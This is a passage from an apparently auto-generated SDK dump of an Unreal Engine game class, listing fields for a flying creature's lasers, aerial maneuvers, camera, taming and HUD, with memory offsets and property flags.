double LastTimeRaisedDino; // 0x2E20(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool IsLoopingWithIncreasedRotationRate; // 0x2E28(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData67[0x3]; // 0x2E29(0x0003) MISSED OFFSET
float AffinityGainedOnElementFed; // 0x2E2C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float TameIneffectivenessOnDamaged; // 0x2E30(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData68[0x4]; // 0x2E34(0x0004) MISSED OFFSET
class UClass* ChargedLaserProjectile1; // 0x2E38(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UClass* ChargedLaserProjectile2; // 0x2E40(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float LaserLevelDowngradeTimeMax; // 0x2E48(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float TamedWalkingSpeedModifierLaserLevel0; // 0x2E4C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float TamedWalkingSpeedModifierLaserLevel2; // 0x2E50(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData69[0x4]; // 0x2E54(0x0004) MISSED OFFSET
TArray<struct FName> LaserSockets; // 0x2E58(0x0010) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance)
float BarrelRollDamageRadius; // 0x2E68(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float BarrelRollDamageBase; // 0x2E6C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool ChargedLaserRightSide; // 0x2E70(0x0001) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData70[0x7]; // 0x2E71(0x0007) MISSED OFFSET
struct FScriptMulticastDelegate NewEventDispatcher0; // 0x2E78(0x0010) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, BlueprintAssignable)
float CurrentSuperFlightTransitionMaterialParam; // 0x2E88(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float FPVFoV; // 0x2E8C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float BarrelRollStaminaCost; // 0x2E90(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData71[0x4]; // 0x2E94(0x0004) MISSED OFFSET
double LastTimeChargedLaserHit; // 0x2E98(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float ChargedLaserProgress; // 0x2EA0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float CurrentPowerMatParam; // 0x2EA4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FLinearColor DefaultCrosshairColor; // 0x2EA8(0x0010) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float CurrentLockOnMatParam; // 0x2EB8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float CurrentEchoLocationMatParam; // 0x2EBC(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UAnimMontage* EchoLocationAnim; // 0x2EC0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float PercentOfScreenToClampFPVCrosshair; // 0x2EC8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float FPVCrosshairClampRadius; // 0x2ECC(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float CurrentHasTargetMatParam; // 0x2ED0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float CurrentClipX; // 0x2ED4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float CurrentClipY; // 0x2ED8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float CurrentMouseX; // 0x2EDC(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float CurrentMouseY; // 0x2EE0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool DebugDrawMouseCursor; // 0x2EE4(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData72[0x3]; // 0x2EE5(0x0003) MISSED OFFSET
struct FVector CurrentLocalFPVCamLoc; // 0x2EE8(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float FPVLocalCamInterpSpeedX; // 0x2EF4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float FPVLocalCamInterpSpeedY; // 0x2EF8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FLinearColor CurrentAimOffsetFromCenter; // 0x2EFC(0x0010) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool AllowFlakCannonBackwardsFiring; // 0x2F0C(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData73[0x3]; // 0x2F0D(0x0003) MISSED OFFSET
float GamepadMouseCursorInterpSpeed; // 0x2F10(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FRotator PreOrbitCamDesiredRotation; // 0x2F14(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool LastFrameWasOrbitCam; // 0x2F20(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool BrakingInStarFoxModeEnablesOrbitCam; // 0x2F21(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool ResetStarFoxModeCamRotationAfterOrbitCam; // 0x2F22(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData74[0x1]; // 0x2F23(0x0001) MISSED OFFSET
float ImpactTerrainCameraShakeScale; // 0x2F24(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float ImpactTerrainCamerShakeSpeed; // 0x2F28(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float RunningCameraShakeScale; // 0x2F2C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float RunningCameraShakeSpeed; // 0x2F30(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float WindGustCamerShakeScale; // 0x2F34(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float WindGustCameraShakeSpeed; // 0x2F38(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float DriftingBoostCameraShakeScale; // 0x2F3C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float DriftingBoostCamerShakeSpeed; // 0x2F40(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool StarFoxCollisionPushNeeded; // 0x2F44(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool HideHUDinFPV; // 0x2F45(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData75[0x2]; // 0x2F46(0x0002) MISSED OFFSET
float FuelPercent; // 0x2F48(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData76[0x4]; // 0x2F4C(0x0004) MISSED OFFSET
struct FHUDRichTextOverlayData SaddleActivationRichTextOverlay; // 0x2F50(0x0060) (Edit, BlueprintVisible, DisableEditOnInstance)
float SaddleActivationTextDisplayTime; // 0x2FB0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData77[0x4]; // 0x2FB4(0x0004) MISSED OFFSET
class AShooterHUD* RiderHUD; // 0x2FB8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnTemplate, DisableEditOnInstance, IsPlainOldData)
bool HasSaddleActivationRichTextOverlay; // 0x2FC0(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool ReadyToDisplaySaddleActivationText; // 0x2FC1(0x0001) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData78[0x6]; // 0x2FC2(0x0006) MISSED OFFSET
double LastSaddleActivationAddedTime; // 0x2FC8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool bChachedIsSubmerged; // 0x2FD0(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData79[0x7]; // 0x2FD1(0x0007) MISSED OFFSET
double ImmelmanEndTime; // 0x2FD8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float PostImmelmanCameraControlTime; // 0x2FE0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float PostImmelmanCameraRotInterpSpeed; // 0x2FE4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector ImmelmanCameraLocation; // 0x2FE8(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData80[0x4]; // 0x2FF4(0x0004) MISSED OFFSET
class UCurveVector* ImmelmannCameraLocationCurve; // 0x2FF8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector ImmelmanCameraStartLocation; // 0x3000(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool ReactivateJetFXOneFrame; // 0x300C(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData81[0x3]; // 0x300D(0x0003) MISSED OFFSET
class AShooterCharacter* TamingTarget; // 0x3010(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnTemplate, DisableEditOnInstance, IsPlainOldData)
float SparksCooldown; // 0x3018(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData82[0x4]; // 0x301C(0x0004) MISSED OFFSET
double LastTimeTriggeredSparksVFX; // 0x3020(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector HUDChargedLaserTargetPosition; // 0x3028(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float HUDChargedLaserTargetPositionInterp; // 0x3034(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FRotator LocalDesiredRotation; // 0x3038(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector FPVMeshOffset; // 0x3044(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FRotator FPVMeshRotOffset; // 0x3050(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData83[0x4]; // 0x305C(0x0004) MISSED OFFSET
class UParticleSystem* LaserMuzzleVFX; // 0x3060(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector FPVSaddleMeshOffset; // 0x3068(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FRotator FPVSaddleRotOffset; // 0x3074(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool GamepadLeftTriggerPressed; // 0x3080(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData84[0x3]; // 0x3081(0x0003) MISSED OFFSET
struct FRotator PrevCamRot; // 0x3084(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float FPVMeshRotInterpSpeed; // 0x3090(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float MaxFPVMeshRotDelta; // 0x3094(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector FPVMeshInterpOffset; // 0x3098(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float FPVShakeScalar; // 0x30A4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UAudioComponent* ThrusterOnSoundComp; // 0x30A8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UAudioComponent* AfterburnerOnSoundComp; // 0x30B0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float SpinningPitch; // 0x30B8(0x0004) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float TimeUntilAffinityDrain; // 0x30BC(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastTimeDrainedCurrentAffinity; // 0x30C0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float PercentOfRequiredTameAffinityToTrainAffinity; // 0x30C8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float TameIneffectivenessOnMetDemands; // 0x30CC(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastBarrelRollEndTime; // 0x30D0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastLoopEndTime; // 0x30D8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float ChargedLaserCooldownBarrelRoll; // 0x30E0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float ChargedLaserCooldownImmelmann; // 0x30E4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float ChargedLaserCooldownLoop; // 0x30E8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool bIsInStarFoxMode; // 0x30EC(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool bJustEnteredStarFoxMode; // 0x30ED(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData85[0x2]; // 0x30EE(0x0002) MISSED OFFSET
float StarFoxGamePadX; // 0x30F0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float StarFoxGamePadY; // 0x30F4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float StarFoxGamePadClipX; // 0x30F8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float StarFoxGamePadClipY; // 0x30FC(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
int SaddleMatIndex; // 0x3100(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool IsLockOnMePrevented; // 0x3104(0x0001) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData86[0x3]; // 0x3105(0x0003) MISSED OFFSET
float LargeCircleInterpSpeedX; // 0x3108(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float LargeCircleInterpSpeedY; // 0x310C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float LargeCircleScale; // 0x3110(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float HasTargetInterpSpeed; // 0x3114(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool DebugForceMouseCursorOn; // 0x3118(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData87[0x3]; // 0x3119(0x0003) MISSED OFFSET
struct FName SilenceImmunityTag; // 0x311C(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float LockOnInterpSpeed; // 0x3124(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool FiredChargedLaserAtTarget; // 0x3128(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
TEnumAsByte<ECollisionChannel> LaserTraceChannel; // 0x3129(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData88[0x6]; // 0x312A(0x0006) MISSED OFFSET
class AMissionSpline* CallFunc_IsStarFoxMode_CurrentSpline; // 0x3130(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsStarFoxMode_ReturnValue; // 0x3138(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData89[0x7]; // 0x3139(0x0007) MISSED OFFSET
double CallFunc_IsStarFoxMode_RetRiderSetTime; // 0x3140(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsStarFoxMode_RetIsRiderWarmup; // 0x3148(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_DoubleDouble_ReturnValue; // 0x3149(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_BoolBool_ReturnValue; // 0x314A(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_BoolBool_ReturnValue2; // 0x314B(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_BoolBool_ReturnValue3; // 0x314C(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData90[0x3]; // 0x314D(0x0003) MISSED OFFSET
int Temp_int_Loop_Counter_Variable; // 0x3150(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
int CallFunc_Add_IntInt_ReturnValue; // 0x3154(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_NotEqual_ObjectObject_ReturnValue; // 0x3158(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData91[0x3]; // 0x3159(0x0003) MISSED OFFSET
struct FVector CallFunc_Multiply_VectorFloat_ReturnValue; // 0x315C(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Add_VectorVector_ReturnValue; // 0x3168(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData92[0x4]; // 0x3174(0x0004) MISSED OFFSET
class APlayerController* CallFunc_GetPlayerController_ReturnValue; // 0x3178(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float K2Node_CustomEvent_DeltaSeconds2; // 0x3180(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_K2_GetActorLocation_ReturnValue; // 0x3184(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Subtract_VectorVector_ReturnValue; // 0x3190(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData93[0x4]; // 0x319C(0x0004) MISSED OFFSET
class UPawnMovementComponent* CallFunc_GetMovementComponent_ReturnValue; // 0x31A0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_VSize_ReturnValue; // 0x31A8(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData94[0x4]; // 0x31AC(0x0004) MISSED OFFSET
double CallFunc_GetGameTimeInSeconds_ReturnValue; // 0x31B0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_K2_GetActorRotation_ReturnValue; // 0x31B8(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_NegateVector_ReturnValue; // 0x31C4(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class AController* CallFunc_GetController_ReturnValue; // 0x31D0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_Conv_VectorToRotator_ReturnValue; // 0x31D8(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_K2_GetActorRotation_ReturnValue2; // 0x31E4(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_BreakRot_Pitch; // 0x31F0(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_BreakRot_Yaw; // 0x31F4(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_BreakRot_Roll; // 0x31F8(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_NegateVector_ReturnValue2; // 0x31FC(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_K2_GetActorRotation_ReturnValue3; // 0x3208(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_Conv_VectorToRotator_ReturnValue2; // 0x3214(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_K2_GetActorRotation_ReturnValue4; // 0x3220(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_BreakRot_Pitch2; // 0x322C(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_BreakRot_Yaw2; // 0x3230(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_BreakRot_Roll2; // 0x3234(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_ComposeRotators_ReturnValue; // 0x3238(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_Subtract_FloatFloat_ReturnValue; // 0x3244(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_Abs_ReturnValue; // 0x3248(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_Conv_VectorToRotator_ReturnValue3; // 0x324C(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Greater_FloatFloat_ReturnValue; // 0x3258(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_SetActorRotation_ReturnValue; // 0x3259(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Less_FloatFloat_ReturnValue; // 0x325A(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_BooleanOR_ReturnValue; // 0x325B(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_K2_GetActorRotation_ReturnValue5; // 0x325C(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_BreakRot_Pitch3; // 0x3268(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_BreakRot_Yaw3; // 0x326C(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_BreakRot_Roll3; // 0x3270(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_NegateVector_ReturnValue3; // 0x3274(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_Conv_VectorToRotator_ReturnValue4; // 0x3280(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_BreakRot_Pitch4; // 0x328C(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_BreakRot_Yaw4; // 0x3290(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_BreakRot_Roll4; // 0x3294(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_Subtract_FloatFloat_ReturnValue2; // 0x3298(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_Abs_ReturnValue2; // 0x329C(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_NegateVector_ReturnValue4; // 0x32A0(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Greater_FloatFloat_ReturnValue2; // 0x32AC(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData95[0x3]; // 0x32AD(0x0003) MISSED OFFSET
struct FRotator CallFunc_Conv_VectorToRotator_ReturnValue5; // 0x32B0(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Less_FloatFloat_ReturnValue2; // 0x32BC(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData96[0x3]; // 0x32BD(0x0003) MISSED OFFSET
float CallFunc_BreakRot_Pitch5; // 0x32C0(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_BreakRot_Yaw5; // 0x32C4(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_BreakRot_Roll5; // 0x32C8(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_BooleanOR_ReturnValue2; // 0x32CC(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_BooleanAND_ReturnValue; // 0x32CD(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData97[0x2]; // 0x32CE(0x0002) MISSED OFFSET
float CallFunc_Dot_VectorVector_ReturnValue; // 0x32D0(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_DegAcos_ReturnValue; // 0x32D4(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class AController* CallFunc_GetController_ReturnValue2; // 0x32D8(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class AShooterPlayerController* K2Node_DynamicCast_AsShooterPlayerController; // 0x32E0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_DynamicCast_CastSuccess; // 0x32E8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData98[0x7]; // 0x32E9(0x0007) MISSED OFFSET
class AController* CallFunc_GetController_ReturnValue3; // 0x32F0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsValid_ReturnValue; // 0x32F8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData99[0x7]; // 0x32F9(0x0007) MISSED OFFSET
class AShooterPlayerController* K2Node_DynamicCast_AsShooterPlayerController2; // 0x3300(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_DynamicCast2_CastSuccess; // 0x3308(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsValid_ReturnValue2; // 0x3309(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData100[0x2]; // 0x330A(0x0002) MISSED OFFSET
struct FRotator CallFunc_K2_GetActorRotation_ReturnValue6; // 0x330C(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Conv_RotatorToVector_ReturnValue; // 0x3318(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
